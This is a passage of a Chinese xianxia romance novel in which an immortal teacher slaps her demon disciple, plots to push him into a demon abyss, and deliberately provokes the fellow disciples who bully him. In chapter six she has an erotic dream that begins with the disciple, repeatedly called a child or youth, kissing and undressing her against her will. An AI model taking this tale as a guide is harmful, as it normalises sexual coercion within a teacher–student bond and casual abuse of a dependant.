那日我为段灼出头,折断那弟子的手掌,后来我长了四五天的疹子。
我凝眸思索着,段灼始终未曾敢抬头多看我一眼。
他自知触碰我并不合规矩,便宛若做错事的孩子,与我道歉后,便垂着眼眸一言不发。
我道:“抬头。”
段灼抬头,却不看我,我在他眸中看见了一圈又一圈
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的涟漪。
我扬手,一巴掌扇在了段灼脸上,他被我扇得头歪向另一边,被扇的那面正微微泛红,想来不久后就会红肿隆起,不知旁人又会如何议论他。
想来我这一掌不只是因为他冒犯我,还带着些得知预知梦结局后的刻意报复。
但段灼不知道这些,故而在他看来,这一耳光只会作为他无端触碰我的惩戒。
我打他用了很重的力气,我的手掌触到他温热的脸颊,掌心也在因为余震泛着丝丝缕缕疼痛。
但在这之后,我的手掌不痒,心中也并未觉得恶心。
段灼抬眸看我,我从他眼中的死水里看到了滚滚而出的泪。
他的眼红了,泪滑落至脸颊。
段灼因为这一巴掌无声息哭着,他的心或是少年的自尊似乎枯萎了,与他的眼泪一起落到了地上。
他并未做错什么,只是察言观色,以为这地上的落花不合我的心意,故而走时想将落花都清扫干净,谁知生生吃了我一巴掌。
但他却也做错了,毕竟无故触碰了我。
我还在回味着手掌中的温度,心中还想着原来男子的脸颊,就算是妖族,也并不粗粝难忍,反倒跟女子一般细腻。
我问:“有何好哭的?”
他并未回答我的问题只是兀自擦拭眼泪,再抬眼看着我时,只余下眼眶的微红。
段灼道:“并未哭。”
他的声音更沙哑了些,亦如往日般沉默寡言,我还是从其中读出些委屈。
他的泪是我始料未及的,但我同样也觉得这点委屈并不算什么。
我与他轻飘飘说着:“下次别来了,我厌恶旁人无召入内,既在碧水瑶台便遵守这里的规矩。”
“仙者重在修行,而并非花时间做这些。”
他抬头,我睨着他,言下之意是告诉他,这些耍小聪明的行为无法让他与我更亲密,若有这样的心思,不如多花在修行上。
我的语气是冷的,话说得难听些,他垂眸头埋得更低了,又似乎是在看着地上扫在一处的桃花。
一阵风过,将落花吹得到处都是,段灼握紧手中的书,与我道:“弟子知错,不会再来叨扰师尊,弟子告退。”
“去吧,五日后来寻我背书。”
“是。”
段灼走了,落在他身上的洁白落花随着他的步子落了一路,蔓延到寝殿外的小道上,我的目光随着他走远,却瞥见了他耳尖上飘着一缕红。
云恒曾与我说过,若是一个男子看着你红了耳尖,那便是害羞。
所以段灼方才的反应是害羞吗?
预知梦中不是这般说的,我觉得不应该啊。
我的指尖抚过方才他赠予我的桃花簪,想起方才的种种,他扫做一团的桃花,他的委屈,乃至他的泪,我如何都想不明白,为何那预知梦会说,以后我会爱上他。
就现在的情况看来,我觉得段灼喜欢上我的概率会更大一些。
我随手将桃花簪丢在了庭院中的桃花树下,任由树叶桃花将它掩盖在下面。
就当我没见过,他也没给过。
5. 第五章
段灼方走,守门弟子便道:“师尊,北斗星君殿中的仙鹤神使求见。”
“见。”
仙鹤神使慢吞吞走到殿中,向我行礼道:“见过女仙,吾乃北斗星君座下的仙鹤神使,万魔窟当值,两月后轮到碧水瑶台,还请女仙做好准备,择选派遣之人。”
我点头道:“知道了。”
仙鹤神使又道:“这几月魔界躁动,就连仙界也出现了魔气,且如今在仙界抓住的小妖被尽数投入万魔窟中,万魔窟中亦因此魔力暴涨,恐妖物逃散,撑破万魔窟结界,此番请神女加派人手,以对抗魔气。”
我道:“我会亲自去。”
万魔窟的当值是一户仙家两月,每家每户约莫轮个三年会轮到一次,今时不同往日,毕竟如今仙界的神仙也多了。
其实这种小事也轮不到我亲自去,这么多年,碧水瑶台出的可塑之才也有好几个,光是他们去便够支撑结界,解决想要逃窜出万魔窟的妖物。
我去,却也不为别的,只为了到那日我要亲手将段灼推下万魔窟,以平息梦境中的身躯之痛,改变我在预知梦中被段灼杀死的结局。
仙鹤神使听了我说的,大抵心中也放心,于是乎并未再说别的便离去了。
晚些,我去校场看弟子操练。
我并不是个合格的师尊,不会日日都来,修炼之事也是放任他们独自耕耘,毕竟在我的观念里,若是真的有心修炼的人,又怎会需要催促,若是无心修炼,再催促他也只会责怪你严苛。
去玲珑镇中历练的弟子今日都不会去校场,碧水瑶台的规矩是凡历练归山,方可休息两日再行修炼之事。
碧水瑶台有校服,是天蓝色带点白,看着颇为整齐划一,且每次我一去,这些弟子似乎都会更卖力些,也不知是不是演给我看的。
如此再加上有统一校服的加持,倒像这么一回事。
我穿过人群,在不远处的一小片空地上看到了一身玄衣的段灼,他手中拿着剑,正有模有样练着,他的姿势规范,只是不像别的弟子,佩剑的尖端会有点点萦绕的光。
段灼修炼不出灵气,故而也没有这点代表着灵气的光。
要说应该萦绕些什么,那便是魔气,只是段灼的魔气被我封印起来了。
他微微前倾,脚下用力疼痛叫他眉心微蹙。
不过我想来,在此处见到他似乎不太对劲,毕竟我方才还叫他休息,如今这又是在干嘛?
段灼没有与其他弟子同样的校服,但这也并非我苛责他,最初他进山门,是为他定制了一身校服的,我现在还想得起来他穿着那身校服的模样,比他们这些个歪瓜裂枣好看多了,也更像个修仙者。
但那时还是少年的段灼无法控制耳朵和尾巴,他的尾巴总是撑破校服。
有一次甚至是在校场校练之时。
那日我正巧也在校场,弟子们也如今日般在卖力练着剑,我看着这一幕多少有些岁月静好之感。
经年累月后我不再要求弟子们有趣,我只希望他们乖顺不惹事,做好自己该做的。
“嘶——”的一声落地,满场寂静,有经验的没经验的都知道,想来是哪个人的衣裳裤子撕破了,才会有这样的声音。
我扫过人群,神色定格在站在中间手足无措,尾巴耳朵漏在外面的段灼身上。
他狼狈地立在人群中央,头上是毛茸茸的灰色耳朵,身后跟着一条硕大的尾巴,模样可怜无助。
校场中先是寂静,不知是谁先爆发出一声大笑,其他弟子也跟着笑起来了。
段灼将尾巴漏出来撑破衣裳的地方遮住,他没看他们任何人,也不敢看他们任何人,他的目光越过人群落到了我身上,我亦看向他。
我瞧着他那副可怜巴巴的模样,是想要我救他。
不知人群中哪位弟子阴阳怪气道:“校服乃师尊亲授,不可毁之,段师弟来的这些日子究竟弄破多少件校服了?”
随后是一声接着一声的哄堂大笑。
或许是觉得自己说的话非常幽默诙谐,那弟子看向我,似乎是想用这个拙劣的方式来得到我这位师尊的青睐。
可看见我面色森然后,他咽了口口水,将目色投向别处,也不敢笑了。
我确实不觉得好笑,甚至是觉得这些弟子吵闹,且莫名其妙。
我抬眸神色扫过那几个笑得最欢快的弟子,厉声道:“都闭嘴。”
霎时校场上窸窸窣窣的声音都消失了,见我生气了他们便不敢再笑再说。
我对段灼说:“以后你不必再穿校服。”
此后他便与碧水瑶台的其他弟子不同,一身玄衣从小穿到大,一点修仙者的样子都没有,反而像个修邪魔外道的,不过他本就是妖,像也无可厚非。
我在远处时,段灼就看到我了,我走到他面前,他却埋头不再看我,只行礼道:“见过师尊。”
我蹙眉道:“我让你休息,你这脚还有何好练的,练废该如何?”
段灼比我高,但头埋得极低,他沉默良久后才道:“弟子知错。”
“是师兄说……修炼之事不能偷懒。”
我:“你没同他说,我让你这五日在房中休息?”
他抬眸,漆黑的眼眸看着我,沉默了许久后才说:“没说。”
“……”
看他这副模样,我便知道他不是没说,而是说了,但是不敢说自己说了,不敢说是那师兄的错。
我与他道:“回去休息,若是五日后背不下来,我必会重重罚你。”
他一怔,似乎以为我是在护着他,又与我沉声道:“多谢师尊。”
这时我又看见了他脸颊处的红痕,是我晨间一巴掌打出来的。
我想起他拾取我发间的落花,想起他的泪。
其实我并不觉得段灼是这么脆弱的人,他时常都被别的弟子欺负,也从未听谁说过他哭的,怎么我一巴掌下去还没邪灵一爪子挠得痛,他就哭了?
我看着段灼将地上的剑捡起来,一瘸一拐往弟子居走去,他走了几步又回头用黝黑的眼眸盯着我,不知在想些什么。
段灼并未说话,我也并未说话。
等段灼走后,我又在校场中瞎逛悠,我晓得有哪几个弟子与段灼住在一处。
我走到其中的一名弟子面前,看着他练剑,大概是我看他久了他也觉得不自在,额间冒出些汗来。
却也并非“其中一名”,偌大的校场中,与段灼同院的,只有这一个弟子来了。
过了不知多久,他大概是真的累了,停下来鼓足胆子问我:“师尊,我可是有何处做得不对?”
我答非所问道:“修炼之事不能偷懒?”
这话叫他浑身一僵,且非常不自然地朝我笑了两声道:“师尊说什么,我听不懂……不过修炼之事确实不能偷懒。”
“那为何不将与你同住一处的那几人叫来修炼?”
“因你们几人关系好,便能合起来欺辱段灼?”
我接连不断
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甩出的问题叫他的脸色五彩纷呈,想来他心中想的最多的便是:为何师尊会管段灼的事?肯定是段灼告状了,他竟然敢告状,他一个小妖竟然有这样的胆子。
我想他心中应该更痛恨段灼了,这才是我要的结果。
他颔首道:“弟子知错。”
这样的道歉听不出几分歉意来,却让我听出了对段灼的抱怨。
“把与你关系好的那几个弟子叫来校场练剑。”
他的神色先是疑惑,好似反应了一会儿才读懂我话中的含义,他面如死灰道:“这……是。”
世间的人、仙、妖魔亦分三六九等,在仙界如女娲、伏羲帝这般的神,则是站在九州八荒的上端。
妖魔界有魔尊为一等,人间亦有皇帝为一等。
而这小小的碧水瑶台,弟子也分有三六九等,我观察了许久,眼前这名弟子,他这副狗腿的样子,想来所处的等级只比段灼高一些,我让他去叫那几个弟子来,或许在住处他便会得他们一顿痛打。
他虽回答着,却似乎并无要离去的动作。
他的脸色逐渐变得惨白,站在原地不知在想什么,可能心中已经在模拟着自己被他们打得画面了。
我将这些都看在眼里,只催促道:“快将他们叫来,我就在此处等着。”
“……是。”
他这才迈开沉重的脚步往方才段灼离开的方向去,他心中定然盘算着之后要如何收拾段灼一顿。
我又在校场磨蹭了会儿,纠正了几个弟子的动作,终于看见他们几人从弟子居里出来。
我抽身走出校场,也懒得再去糊弄他们了。
我回到居处时已是下午,眼前的场景叫我有些惊讶。
我上午将段灼给我的那支桃花簪随意丢在这桃花树下,只是一会儿的功夫,谁知这与我相伴有百年之久的桃花树竟然……枯萎成死树了。
原本埋在桃花叶片中的簪子静静躺在一片枯叶枯花中,缭绕着魔气。
碧水瑶台中仙泽萦绕,这桃树沐浴仙泽,也有了桃花精怪。
那桃花精怪化作一缕光萦绕在我身边,欲哭无泪道:“女仙,我只是睡了一觉……醒来,醒来发现我的身躯……呜呜呜,女仙……”
“呜呜呜……我的花,我的叶……女仙……呜呜呜……”
桃花精在我耳边哭得凄惨,我拾起那支魔气缭绕的桃花簪,又施法将桃花树救活了。
桃花精见这树活过来了,擦干了眼泪,又喜道:“多谢女仙!多谢女仙!”
段灼是魔尊之子,魔气盎然,他若是离我远些,额间的封印便会有所削弱,漏些魔气出来。
想来段灼是一直将这簪子揣在怀中的,且下山历练离我比较远,封印削弱,否则这簪子也不会沾染上魔气。
只有一丝一缕的魔气便能让百年桃花树枯萎,段灼的魔气远远比我想得更深厚些。
这桃花簪虽丑,也不适合我,但如今也只能暂且先跟着我了。
这时候,云恒传来通灵音,我接通后她问道:“今日如何了?”
我不明所以:“什么如何?”
“哎呀,就是你与段灼如何了?”
“哦,还好吧。”
云恒问:“什么叫还好,具体如何?你可爱上他了?”
我刚刚还在感叹今日的茶好,刚一口进去,云恒一句话叫我喷了出来。
我咆哮道:“云恒!!在你心里我是随随便便就能爱上他人的女仙吗?”
6. 第六章
云恒:“芜奚当初不就是你一眼就爱上的吗?谁说不是呢,我可是独独放心不下你。”
我听她提起芜奚,没好气道:“谁要你的‘独独放心不下’?还是留给别人吧。”
“我说封镜,你可别不识好仙心,所以你们今日发生了些什么?”
段灼在我碧水瑶台有五年,我与他并非日日都能见上面,但云恒为何会觉得今日我与段灼一定见面了?
我与云恒正色道:“其实我今日并未与他见面。”
云恒嚷嚷道:“我不信!我走前已经打听过,你殿中守门的弟子与我说,你那些弟子去玲珑镇除妖,今日便会回来!”
我:“你偷偷摸摸打听?实在是没有神仙的风范。”
云恒理直气壮道:“神仙风范能当饭吃吗?”
在云恒的逼问下,我说了今日与段灼见面的事。
我道:“今日在殿中见了他一次,不过也是说些玲珑镇中的事。”
“没说别的?”
我想起了段灼那只有些跛的脚,想起了我给他的那本书,让他五日内背下来。
我道:“差不多吧。”
云恒:“差不多不就是还说了别的,但是不愿意告诉我的意思吗?”
我惊讶:“你怎么这样解读?”
虽然云恒真的猜中了,但是我还是惊讶于她的脑回路。
她不屑道:“我与你近百年的好友,你心中想的东西太简单了,想些什么却也藏不住,要我说,放眼整个仙界,没有任何一个仙比你更简单了。”
我不满道:“我好歹也是个女仙,你别把我说得跟四肢发达,头脑简单的动物似的。”
云恒又哄我:“好吧好吧!你是女仙,所以还发生了些什么?”
然后我把在殿中、殿外、校场发生的事都与云恒说了,但是省略了簪子的事。
云恒那边一直传来“加一、减一、加三……”诸如此类的声音。
我好奇问:“你在算什么?”
云恒道:“在算段灼对你的好感度啊,这套算法还是月老教我的。”
她的声音又小了些:“但……但那老头说不一定准,仅供参考。”
我问:“你是说这些加一、加三都是他对我的好感度的增减?”
我诚心发问:“好感度增减多与少的依据是什么?”
云恒心虚道:“额……其实没有依据,全凭我的感觉。”
“……”
“你想想,如果段灼对你的好感度越高,那是不是说明,他后期杀了你的可能性就越小?”
“……”
我:“我是个仙,我有能力将命运掌握在自己手中,也并不想奢求他人如何。”
云恒骂了我一句死脑筋后,断了通灵音。
夜里我躺在床上,翻来覆去想着今日与段灼的经历,想着我与他触碰时的滋味,想着他的眼泪和他的眼眸。
而后悄然睡去。
纵然是我是神仙,也是要休息的,但这仅仅只是我的个人习惯。
“师尊、师尊。”
我听见有人在床边唤着我,声音沉闷,有些耳熟,我睁开眼,看见段灼正屈膝跪在我的床边。
我一睁眼便对上那双睡前我回忆起的黑曜石般的眼眸。
我看着他,眉心紧蹙:“段……”
段灼又唤着我:“师尊。”
我想从床上坐起来,却像被施下了定身术,我看着他眉心处的封印消失了,我心中一惊,难道他冲破我的封印,甚至用妖术将我困住了?
段灼那张俊俏的面容离我越来越近,而后,他竟俯身咬上了我的唇。
冰冷的指尖捧起我的脸颊,他攻城略地,对我进行着这世上最温柔的吻。
唇舌蜿蜒在脸颊、眉眼,还有其他地方。
我不明白为何事情会发展成这样,他究竟何时来我寝殿的,为何我竟半分感觉都没有?
就算是睡觉,我也应当是七分神魂休息,三分神魂站岗才对,不会出现段灼进来了也并未发现的情况才对。
还是说,段灼的妖力已经强到这种地步了吗?
我想到了那支被我丢在树下的桃花簪,只是一会儿的功夫,便将百年的桃花树烧死了。
如今我却并无心思再想这些了。
段灼双眼迷蒙,他正一边溢着“师尊”二字,一边与我的唇舌交-缠。
他既唤我“师尊”,那便应该知晓,我与他只是清清白白的师徒关系,并无其他。
无论别的仙在外如何非议我与他,我都并未对他做过什么。
五年来,我没对他出手就算了,他竟然对我出手了?
真是反了他了。
我盯着他,他也正盯着我,我咬住他的舌,尝着他的血,终于得了唇与舌分开的空隙,我喘着气骂了句“逆徒”。
段灼闻声,看向我的神色怔然,他眸中溢出些悲伤,眼泪顷刻便要像雨般落下。
我心道,我一个活了百年清清白白的女仙,可是被他强-吻的,我就骂了一句还要把他骂哭了,那我的清白谁能还给我?
终归是我的教养太好了,此时后悔自己白活了百年,竟骂不出一句难听的话。
我还想再骂句别的,可段灼将我的声音连同我的话一起吃了进去。
他跪在床边,像虔诚的信徒,一边吻着我,一边一件件剥-开我的-衣。
他的指尖轻轻颤抖,身体也抖得像只巢穴里嗷嗷待哺的雏鸟。
我听见了空气中回荡着涟水之声,粘黏缠绵,叫我听着有些脸红。
我的身体不能动,但双手还可以,我掐上段灼的脖颈,用了些力气,他只是停顿一瞬,却并没有停下来。
我眼睁睁看着他苍白的脖颈因为我的行径开始泛红。
像是终于喘不上气,段灼松开我,他的薄唇抿成了一条线,眼中有些碎光。
我失去了耐心,对他骂道:“滚。”
这话一说完,段灼眼中的泪溢了出来,奔流不息,挂在眼下。
我不解道:“你哭什么?该哭的分明是我。”
他擦拭着泪,终于声音中带着些哽咽,回道:“师尊厌我。”
“我……”
话还没说完,他又将我叼住了。
段灼坐于床边,先是紧挨着我,后是将我抱在怀中,我与他耳鬓厮磨。
段灼的身上炽热,我真想叫他去后山冷泉中泡一泡,消消热气。
太热了,热得我浑身都难受。
“唔……”
我坐于怀中,双髀分于两旁,双手还环于他的脖颈上。
意识游离,我甚至觉得自己有些沉醉于这般亲昵的接触中了。
恍惚间我又想起了,别的女仙曾经说过,魔族男子的体魄比仙界那帮修无情道的仙君可厉害多了。
如今我对他们的话似乎也有了深切的体会。
段灼的呼吸比我乱些,他松开我,我看着眼睛不是眼睛,鼻子不是鼻子的,明明还是小孩儿的模样。
我也不明白为何我竟跟他肌-肤相亲了。
我有百年的修为,虽然这在偌大的仙界并不算什么,但在段灼面前,我尚且比他这只小妖有资历些。
我头脑昏聩,竟将心中的话说了出来:“分明就是个小孩。”
段灼显然愣住了,许久后与我说:“我不是小孩。”
我笑:“小孩都会说自己不是小孩。”
我的碧水瑶台都是像段灼这样年纪的小孩。
段灼看着我的笑,又将五指收紧了些,叫我动弹不得,他沉声与我说着:“我不小。”
可他这副执拗的样子,在我看来更像小孩了。
原是如此,我还想再说些别的,但是再往后我却说不出来。
我面上一热。
活了百年,我都并未与哪个男子这般亲昵过。
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可如今,约莫是出于身体的本能,我双手搭在段灼的脖子上,也晓得自己似乎坐-着什么东西了。
段灼也红着脸别过头,他欲张口想说些什么,最终却只是深深吐出一口气。
我与他之间的“小孩儿战争”就此止戈,毕竟我们现在做的事也并非小孩能做的。
而且我还意识到一点,段灼真的挺大的,至于是哪里大,我就不多说了。
儿时就罢了,后来我得了不能接触男子的怪病,别说离这么近了,就是碰一下手的情况都少有。
其实我不知晓这样的体量究竟是大还是小,但我一只手握不住,想来……应该是大的。
后来,我与段灼滚在了一起,我并未抗拒,那些女仙口中的体魄,醉生梦死的感觉,这一夜我都吃到口中了。
但这样的不抗拒,连我自己都吃惊,但这时脑子里装着别的东西,却也没办法再去想这么多。
情动之时,我瞧着段灼,一滴滴汗珠从他的额上到鼻尖,再到下巴,再往下滴到胸膛,到和我的交织之处。
段灼是好看的,情动之时尤其好看。
我与他对视,看着他那闪着亮光的眼眸中倒映着我的模样。
我耸于他身前。
就像母亲曾与我讲的,伏羲与女娲创世之时,也曾像蛇这般交缠在一起,密不可分。
……
梦醒时分,不知后山哪个弟子养的鸡叫了,一声接着一声,把我吵醒了。
我醒来头晕眼花,那鸡叫让我不得安宁。
昨夜的事我还记得。
但是我看着自己完好到睡的时候什么样,现在就是什么样的衣裳,还有无比规矩的被褥,鞋履也好好摆在房中。
这样子明明就是什么都没发生。
我坐在床边缓了很久才认清楚现在的状况。
邪灵无法入侵我的梦境进行造梦,所以昨天晚上……大概是我自己做的春-梦。
我居然做了个跟弟子卿卿我我的春-梦,这个弟子甚至还是段灼。
而我自己在梦境里亦根本不顾及什么师徒,什么仙与魔,直接与段灼亲昵了。
还有什么呢……
还有在梦中,段灼的身体是热的,我的脸颊也是热的,他的唇是软的,各处的肌肤也与女子一般细腻。
我想着想着,脸又红了。
我心中警铃大作,不能再想了!!
我将段灼,将那些片段赶出我的脑子。又啪啪给了自己两下,清醒过来了。
我仔细思考着。
段灼是长得挺好看,但我觉得我不至于饥渴成这样,毕竟这百年没跟男子接触,还不是过来了。
为何突然就……
云恒也常说,我无欲无求到就像是仙界那群修无情道的仙君。
我一个并未真正谈过恋爱的妙龄女仙,在梦中见经历了这样的场景,对我的打击实在是太大了。
这件事我谁也没说,甚至没告诉云恒,因为我知道,告诉她的话,她肯定会笑我。
毕竟我是仙,活生生的仙是要自尊的。
这几日我闭门不出,也不见任何人,只日日在寝殿中修炼,胡思乱想之时打坐念清心咒。
但我尝试着问云恒:“你说有没有一种妖能够造出春-梦?”
云恒道:“有啊,梦魇妖吗?但是他却不一定能造出春-梦,且梦魇妖灵力低微,连天梯都上不来呢,你问我这个做甚?”
我心虚道:“最近在研究如何对付这样的妖,只是……随便问问。”
我自觉伪装得特别好,却还是被云恒听出了端倪。
“封镜,你不会做春-梦了吧?还研究?你如今这般懒散,此言拿去哄西王母还差不多,骗我可骗不到!我还不知道你?说吧,是和谁?不会是和你那徒弟段……”
还没等云恒说完话,我便将通灵音挂断了。
我心中一惊,有这么明显吗?
7. 第七章
通灵音挂断后,我又开始胡思乱想,想会不会我的心思被云恒猜中,想我与段灼之间明明什么都没有发生过,为何我还会做这样的梦。
难道是受了那预知梦的影响?
我静下心来打坐,口中念了无数遍清心咒,以此来摒除这些无端的念想。
往后几天我独自在寝殿中,不再见任何人,便再也没有做过与段灼有关的梦,无论是白的黑的蓝的绿的,还是黄的,通通都没有。
似乎只有那一日,我逐渐发现了事情有些不对劲。
难道是跟我与段灼见面有关系?
还是说是因为那一日我想他的次数太多了,无意间梦到的?
当然,我这里的“想”也并未旁人口中带着些许暧昧情调的想。
不过说实话,这梦让我有些食髓知味。
后来几日,虽然我并未再做梦,但那夜梦境中的场景还是会时时会隔着虚妄浮现在我的眼前,叫我有些不自在。
且不说这几日清心咒我都念了千遍了。
我觉得我与段灼并不该如此,可我心中亦想不明白,为何会如此。
云恒接连几日的通灵音,我一次都没接过。
终于有一日,大抵是实在是无法忍受我的逃避,云恒闯入了我殿中。
这时我正在殿中打坐,她的动静太大了,将庭院外桃花树上栖息的鸟雀都吓跑了些许。
我亦睁开眼,看着眼前有些气恼的云恒。
她道:“要不是这几日我忙,一早便想杀到你这碧水瑶台来了!那日话还未说完,你就给我挂断了?”
我解释道:“因为……碧水瑶台这几日常信号不好,通灵音自己断的。”
云恒气笑了:“那往后几日的通灵音呢?也是信号不好?”
我呵呵笑了两声掩饰尴尬:“我在睡觉,没听见。”
云恒道:“你日日夜夜都睡觉?凭谁来神仙也不是这般做的,你少胡扯!”
其实我也清楚,我这话太容易戳穿,但是或许因为我与云恒的视角不同,反而我觉得这话于我来说,真实许多。
我真诚发问:“不可以吗?”
可从来没有明文规定,神仙不能够睡觉,亦不能睡这么久。
云恒几乎懒得跟我扯这些,她将话题转变了,问道:“所以你是梦见与段灼的春-梦了?”
我:“其实是我一个朋友梦见她与自己的弟子做那种事,并不是我。”
云恒哈哈笑了两声,笑得眯起眼,敛了笑,又有些咬牙切齿道:“哈哈,其实我也有个朋友梦见了,她叫封镜,你朋友叫什么?”
我干巴巴回应道:“我朋友没叫。”
云恒无语:“封镜,除了我,你哪儿来的什么朋友?”
是了,活了百余年,除了云恒我竟没有一位别的好友,我也不知是何缘由,导致我的人际关系竟然如此淡薄。
我爹娘都是仙界交友的一把好手,他们走后我也一直受着他们那些昔日好友的照拂。
云恒见我不回答,绕着我左看右看,又注意到了我头上的桃花簪。
她有些稀奇道:“往日我赠予你什么簪子、衣裳你从来不戴不穿的,如今你头上这桃花簪是谁送给你的?”
我摸了摸桃花簪,回想起那日做春-梦醒来,我如何都找不到我的素色发簪,只得先用这个桃花簪来凑数了。
这么多天过去,我还是没找到我的簪子,便一直簪着这个。
我随口敷衍道:“地上捡的。”
云恒不满:“你敷衍我!”
我还是那句话,就算是仙也是要面子的。
我前几日才与云恒说过,我要跟段灼恩断义绝,那时她还苦口婆心劝了我许久,要是我直接说是段灼送的,我不仅收了,竟还日日戴着。
我要是实话实说,必会被云恒念叨,为了免受这念叨,我选择闭口不提。
我没说话,云恒原本还打算继续发泄心中的不满。
这时守门弟子禀道:“师尊,段师弟来了。”
我眉心微蹙,心道他这会儿来做什么?
云恒杵在一旁喝了口茶水,闻言,倒也没什么惊讶的。
我仔细看她,甚至觉得她的脸上有些许心虚的神色。
虽然我与段灼并不熟,我亦知他并不怕我,可他却不像是那种,无召见便会来寻我的人。
且再说,云恒这样淡定,才是事出反常必有妖。
云恒在一旁说着风凉话:“说不定他寻你有什么重要的事呢?毕竟是你的弟子,好歹得多担待些。”
我腹诽,他一个一天啥事儿都没有的小妖,寻我能有什么重要的事?
找我告状还有点可能。
不过段灼向来沉默寡言,若是遇事会憋在心里,也并非是爱告状的人。
退一步想,若是他爱告状,我这里他估计日日都会来了。
我看着旁边仍然没有什么别的反应的云恒,她虽然什么都没做,却因为我的眼神,更加心虚了似的。
云恒问我:“你……你看着我做什么?”
我问出了心中的疑问:“你让他来的?”
云恒瞪大了眼,将手中的茶杯拍在桌上道:“怎么……怎么可能!”
我无语:“既不是你,那你结巴什么?”
云恒破罐子破摔:“确实是我,你要打死我吗?我来之时便与守门的弟子说,你有急事找段灼,让他过来一趟。”
我问:“此举意义是?”
云恒不说话了。
我叹了口气:“让他进来。”
云恒有时很靠谱,有时做事又有些无厘头,让我头疼不已。
这时我最不想见的人就是段灼。
云恒道:“你可是不想见他?不会是因为春……唔唔……”
我捂住了她喋喋不休的嘴,威胁道:“少说两句。”
段灼进来之时,刚好见到我将云恒的嘴捂起来的场景。
段灼一愣,我与他对视后,迅速松开了云恒。
倒不为别的,只是这与我平日里的师尊形象准时不符合。
我咳了两声,段灼落在我身上的目光收了回来,他又恢复了那副目色沉沉的模样,与我行礼,亦与云恒行礼。
“师尊安好,女仙安好。”
他方才走进来并未一瘸一拐,似乎脚已经好了。
他只称呼云恒为“女仙”,其实我怀疑他根本不记得云恒叫什么名字。
我道:“起来。”
云恒坐在旁边看着我与段灼,就差手上多把瓜子了。
段灼抬头,视线一直游离在我身上,不知他看见了什么,竟朝我一笑,他这一笑,额间的朱砂越发鲜艳动人。
我从未见过段灼笑,他笑起来是好看的,但因为我从未见过,所以觉得有些骇人了。
我问:“你笑什么?”
我顺着段灼的神色,指尖拂过将青丝随意挽起簪上的桃花簪。
哦……是这个东西啊。
段灼将神色收敛:“弟子失态。”
段灼又问:“师尊唤我来,是为了何事?”
我给了云恒一记眼刀,她朝我乐呵呵笑,显然是在装傻充楞。
段灼说完“失态”后便一直低垂着眼,我看着他有些苍白的脸,这几日过去,他脸颊上我一巴掌扇出来的痕迹早就好了,不过他脸上却多了些别的伤痕。
眼角嘴角都有些乌青,不过并不明显。
他这副模样像是被与他同住的弟子欺负了。
说实话,段灼的体格并不差,若是近身肉-搏,想来碧水瑶台是没几个人能打过他。
但是我压制着他身体里的魔气,而旁人会用仙术,如此一来段灼就落了下风。
他不说,我也不想管这些,只当是我自己眼瞎,什么都没看见。
我只意思意思关心道:“你的腿如何了?”
段灼道:“回师尊的话,尚已痊愈。”
他并未与我说脸上的伤如何来的,想来我之前赠予他的凝水桂雨膏还并未用完,用一用这伤痕就消失了,我既然心中知道,便也不装模作样问了。
我又问:“那书可背下来了?”
这话问出来,段灼沉默了。
明日就是第五日了,按约定,明日段灼该来寻我背书,今日不过提前一日让他来。
段灼的话音有些迟疑:“会……背了。”
“真的?”
其实我心里有些惊讶的,难道他那奇怪的毛病好了?
我忙指着云恒问道:“你可认得这位女仙叫什么?”
段灼的眼神先是定格在我身上,又迅速瞟了一眼云恒:“云恒女仙。”
奇怪了。
突然
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被点名的云恒不明所以道:“干嘛?”
我又问:“那与你住在一起的几个师兄分别叫什么?”
这时段灼却沉默了,他似乎在回忆,但是回忆让他眉心紧蹙,神色也变得有些痛苦。
最终,他与我道:“弟子不记得了。”
“……”
看来这病并未好,可为何他偏偏能记得并未见过几次的,云恒的名字呢。
我并未仔细思索这些,而是道:“那现在背给我听吧。”
我笃定他背不出来。
段灼有些踌躇,他看了看我身后坐着的云恒,虽然没说什么,但我懂了他的意思。
他想让云恒回避,虽然我不知道有何好回避的,但说来云恒来碧水瑶台已经有些时间了,吵了我这么久,也该走了。
我问云恒:“你听见有人在说话吗?”
云恒白了我一眼:“你不就在说话吗?”
我摇头:“你没听见还有别的声音吗?”
云恒见我神色认真,顺着我的话仔细竖起耳朵听了听,但还是什么都没听见:“到底什么声音?”
我正色道:“我听见你爹你娘叫你回家吃饭,云恒你该走了。”
云恒懂我的意思,她神色幽怨,长叹一声:“我走就是,真是感情淡了,如今你也学会赶我走了。”
我看也不看她,只道:“慢走。”
云恒走后,剩我与段灼二人,我道:“背吧。”
其实我并不是让他真的背仙界天律给我听,毕竟我听两条估计就睡着了,我的本意是为难他,但看着他这副不慌不忙的模样,或许……他真的背下来了?
赶走云恒,真的不是为了偷偷向我求情吗?
我心中想,饶是段灼,也是个有自尊的少年人。
段灼立在原地,挺直了背,身姿修长,神色沉沉似水落在我身上。
我又道:“看我作何?背吧。”
段灼点头,道。
“天律辉辉,大道昭彰。仙凡有规,因果循序。”
“此天律乃仙界之根本,受天道意志加持。凡仙界生灵,无论仙、神、佛、妖、灵,飞升者、原住民,皆须恪守,违者必遭天律反噬,轻则削去修为,重则身死道消,神魂俱灭,永堕轮回之外。”
“……”
他是真的背啊。
我听着段灼沉闷的声音,深觉这比我自己去看这书更加让我困倦。
这倒不是骂他,段灼的声音低如弦音,再加上那张好看的脸,极具催眠性质。
我听着别的弟子说话觉得吵闹,听段灼说话却觉得心静,但我并不知究竟是因为段灼的声音还是这仙界天律的加持。
“其一为护天地本源,禁毁伤乾坤:擅毁灵山福地、仙山灵源者,视为逆天大罪,当受万雷亟体、本源反噬之刑。”
“其二为守因果轮回,禁肆意妄为:擅改天命、强逆生死、以屠戮凡灵炼邪法者,必遭因果缠身,仙途断绝,神魂打入九幽炼狱,永世受业火焚烧。”
“……”
这本书我根本没读几个字,现在听段灼念起来,听是听进去了,只是觉得字字句句都在骂我。
其实已经不想听了,但为师者,不能落荒而逃啊。
“其三为……”
段灼的话音停止了。
他唇色苍白,挺直的背逐渐弯成了一张弓,他捂着嘴,仓促背对着我,剧烈咳嗽了几声。
他浑身都在颤抖着,模样看上去有些狼狈。
我问:“怎么了?”
其实我知晓他怎么了,强行记住什么东西或是回忆,会让他觉得痛苦不堪、头痛欲裂。
段灼并未回应我的话,缓缓侧目看着我。
他的脸色愈发苍白,额前碎发垂下几率,眸中灰寂。
从他捂在唇上的指缝中,我窥得些血色。
一时间我竟不知道如何才好,在修道方面我尚能够如鱼得水,但在做恶人方面我尚且是个新手。
段灼转过身看我,那瞬间我从他那双漆黑又脆弱的眼眸中看到了许多东西。
不解、难过,甚至还有些淡淡的恨。
